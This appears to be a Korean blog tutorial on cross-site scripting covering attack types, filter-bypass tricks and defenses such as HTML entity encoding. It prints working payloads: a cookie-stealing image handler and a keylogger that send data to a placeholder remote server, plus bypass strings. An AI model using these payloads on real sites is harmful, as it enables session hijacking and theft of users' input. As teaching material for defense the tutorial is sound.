3 분 소요

XSS ( Cross-Site Scripting ) 란

  • 클라이언트 측 스크립트를 삽입하는 공격이다.
  • 웹 애플리케이션에서 발생하는 취약점이다.
  • 클라이언트 만이 피해를 입는다. 즉 서버에는 아무런 악영향을 안 끼친다.
  • 클라이언트의 브라우저에서 개발자가 의도하지 않았던 스크립트가 실행된다.
  • 취약한 웹 애플리케이션을 이용하는 사용자가 주 타겟이 된다.
  • 사용자 쿠키를 탈취하는 세션 하이재킹( session hijacking ) 공격을 수행할 수 있다.

클라이언트 측 코드

  • html
  • javascript
  • css

POC 코드

  • 웹 애플리케이션 XSS 취약점을 이용한 공격이 가능함을 확인할 수 있다.

자주 이용하는 POC 코드

  • alert(1)
  • console.log(1)

공격 피해

사용자 쿠키 탈취

  • document.cookie 를 활용하여 사용자 쿠키 값을 훔친다.
  • 사용자 브라우저의 쿠키에 저장된 합법적인 Session ID 값이나 액세스 토큰 값을 훔쳐 원격지 서버로 전송한다.
var hackUrl = "원격지 서버?value=";
new Image().src = hackURL + document.cookie;
<img src=x onerror='var hackUrl = "원격지 서버?value=";new Image().src = hackURL + document.cookie;'>

사용자 개인정보 탈취

  • Key Logger 방식으로 사용자 입력을 탈취한다.
  • XSS Keylog 가 삽입된 페이지에 사용자가 접근하면 Keyboard Event 를 통해 입력 값을 후킹한다.
  • 후킹한 값을 원격지 서버로 전송한다.
var keys = "";
var hackUrl = "원격지 서버?value=";
document.onkeypress = function(e) { 
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode; 
	key = String.fromCharCode(key); 
	keys+=key; 
} 
window.setInterval(function(){ 
	if(keys != '') { 
		new Image().src = hackUrl + keys;
		keys = ''; 
	} 
}, 200);

악성코드 다운로드

  • 사용자가 악성 스크립트가 있는 URL을 클릭하도록 유도하여 악성 프로그램 다운로드 받는 사이트로 리타이렉한다.
  • 사용자가 악성 프로그램을 다운로드 하도록 유도한다.

피싱 사이트 강제 이동

  • 가짜 사이트로 위장하여 사용자의 로그인 정보를 탈취한다.
  • 실제 사이트와 유사한 웹 페이지를 통해 사용자의 개인정보를 훔쳐올 수 있다.

공격 유형

Stored ( 또는 Persistent ) XSS

  • 공격자가 악성 스크립트를 취약한 웹 서버에 저장하는 공격이다.
  • 광역적으로 공격이 가능하다. 하지만 흔적이 웹 서버에 남는다.
  • 지속적으로 피해를 입히는 공격이다.
  • 공격자가 악성 스크립트를 웹 서버 페이지에 저장하고 해당 페이지가 사용자에게 노출시켜 악성 스크립트가 사용자 브라우저에서 자동으로 실행되게 된다.

취약점 유형

  • 댓글
  • 게시판
  • 이메일
  • 블로그 글
  • 채팅방의 유저 이름

공격 과정

  1. 공격자가 Stored XSS 취약점을 가지는 웹 페이지( 게시판 )를 찾는다.
  2. 공격자가 게시판에 사용자의 민감한 정보( 쿠키 )를 탈취하기 위한 악성 스크립트 코드를 포함한 글을 작성하고 저장한다.
  3. 공격자가 작성한 글에 사용자가 들어가면 민감한 정보(쿠키)를 공격자에게 전송한다.

Reflected XSS

  • Get 방식을 통해 공격이 이루어 진다.
  • 사용자 입력을 그대로 페이지에 보여주는 곳에서 발생한다.
  • 공격자는 URL에 악성 스크립트를 심고, 만들어진 URL을 사용자에게 전달한다. 이러면 사용자 브라우저에서 악성 스크립트가 실행된다.
  • SSR ( Server Side Rendering ). 서버에서 페이지를 완성하여 사용자에게 보내주는 페이지에서 발생하는 취약점이다.

취약점 유형

  • 사용자 입력을 그대로 페이지에 보여주는 사이트.
  • 사용자 입력이 웹 페이지 코드에 그대로 들어가는 사이트.

과정

  1. 공격자가 Reflected XSS 취약점이 있는 페이지를 찾는다.
  2. 공격자는 XSS 취약점 페이지의 URL의 파라미터에 악성 스크립트 코드를 사입하여 공격 URL을 만든다.
  3. 공격자가 만든 URL을 사용자에게 건내주어 클릭하도록 유도한다.
  4. 사용자가 링크를 클릭하여 페이지 들어 가면 사용자 브라우저에서 악성 스크립트가 실행된다.

DOM Based XSS

  • 서버 측에서 탐지하기가 어렵다.
  • 최초에 HTML 문서를 서버로 부터 받으면, 그 이후에는 서버로 요청을 보내지 않고 악성스크립트를 심을 수 있다.
  • 서버에 요청은 없지만, URL 주소 해시에 심은 악성 스크립트가 실행된다.
  • CSR(Client Side Rendering) 클라이언트 사이드에서 페이지를 그려준다. 즉 클라이언트 브라우저의 javascript 에서 get 요청 값을 가져와 페이지를 완성시킨다.

취약점 유형

  • 사용자 입력을 그대로 페이지에 보여주는 사이트.

과정

  1. 공격자는 DOM Based XSS 취약점이 있는 페이지를 찾는다.
  2. 공격자는 XSS 취약점이 있는 페이지 URL의 파라미터에 악성 스크립트를 넣어준다.
  3. 공격자는 완성한 URL을 사용자에게 보내어 클릭하도록 유도한다.
  4. 사용자가 URL 링크를 클릭하여 페이지에 들어가면 사용자 브라우저에서 악성 스크립트가 동작한다.

XSS Bypass ( 우회방법 )

  • 서버에서 Black List 기반의 XSS 필터링을 적용 되었을 때의 우회방법이다.

Client Side 검증 우회

  • Burp Suite (프록시 툴)을 이용하여 다시 원래대로 만들어 준다.
client side에서 치환된다.
<script> => &lt;script&gt;

프록시 툴로 다시 원래대로 만든다.
&lt;script&gt; => <script>

Script Load

  • XSS 공격할 때 글자 수가 제한되어 있다면 유용하다.
<script src="http://악성스크립트"></script>

대소문자 혼용하기

<script> => <ScRiPt>

필터링 되는 문자

  • 만약 서버에서 script 라는 문자를 빈칸으로 바꾼다면 다음과 같이 우회하면 된다.
<script> => <scrscriptipt>

EventHandler

<img src=x onerror="alert(1)">
- onactivate
- onload

<svg>
<audio src="" onplay="" autoplay>

대응 방안

HTML Entity

  • HTML 특수 문자들을 HTML Entity 로 모두 치환하면 된다.
문자 인코딩 된 문자
& &amp;
< &lt;
> &gt;
' &#x27;
" &quot;
( &#40;
) &#41;
/ &#x2F;

문제점

  • 하지만 HTML Editor 게시판에서는 전부 치환을 못한다.
  • 잘 사용하지 않는 게시판이면 해당 게시판을 안쓰는 것이 좋다.
  • 잘 사용되는 게시판이라면 White List 기반 필터링Black List 기반 필터링을 같이 적용해야한다.

    step 1. 모든 HTML 특수 문자들을 HTML Entity 로 치환한다.

    step 2. White List 기반 필터링으로 살려줄 (허용해줄) 태그를 살려 준다.
    ex) img, p, a, …

    step 3. Black List 기반으로 Event Handler를 필터링 하기.
    ex) onerror, onload 막기

참고

  • <p> 태그 안에서는 <script> 태그가 안 먹힌다.

참고 사이트

댓글남기기